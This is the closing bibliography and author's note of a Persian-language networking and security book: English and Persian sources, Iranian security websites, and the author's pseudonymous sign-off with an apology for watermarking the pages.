IT Security: Risking the Corporation 
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 این از واجبات است
 

 
 

Networking Essentials 
 

 

 
 

Windows 2000 Network Infrastructure 
Administration 

 

 

 
 

Windows 2000 Active Directory Services 
 

 

 
 

Network Security Hacks 
 

 

 
 

Inside Microsoft Visual Studio.NET 2003 
 

 

 
 

Windows XP Hacks 
 

 

 
 

Wireless Hacks 
 

 
• Beej’s Guide to Network Programming Using Internet Sockets, 1998. 
• Unix Network Programming, volumes 1-2 
• Internetworking with TCP/IP 
• Exploring Java, Patrick Niemeyer & Joshua Peck 
• Java 1.2 Unleashed, Jamie Jaworski 
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• Java By Example, Clayton Walnum 
  

  :منابع فارسی 
 

 )احسان ملکيان ؛ انتشارات نص : گرد آوری و تعليف ( ترنت اصول مهندشی این •
 راهنمای جامع شبکه  •
   )ir.websecurity://http( سایت اطلاع رسانی امنيت اطلاعات و امنيت شبکه ایران  •
   )ir.srco.www://http(  سایت سخا روش  •
  )com.ircert://http( سایت گروه امداد امنيت کامپيوتر ایران  •
  com.ev-simorgh://httpسایت گروه سيمرغ  •
  com.technotux.www سایت بسيار عالی   •
 !!وبلاگ های لينوکس و وبلاگ های هکری  •
 دست نشوسته های پراکنده خودم  •
 !دست نوشته های پراکنده چندی از دوستان  •
 ...و  •
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باشد ؛ به اميد موفقيت برای همه ، البته در هر کاری که هستند و نيز در هر شده اميدوار هستم این کتاب برای شما دوستان مفيد واقع 
دوستان از اینکه من مجبور شدم تمام صفحات را واتر مارک کنم ، پوزش ميخواهم ولی چاره جز این کار برای  ( .د يمقطعی که هست

  )جلوگيری از سوء استفاده بعضی از آموزشگاه ها ، نمانده بود 
  

   .Zxo003دوستار تمامی دوستان 
  .تيانی                                            با نام مستعار امير آش

  " خوژت                                                                                  " 
  

  :در آخر هم به قدرت خدای قادر ، بخشنده نگاهی بيندازید 
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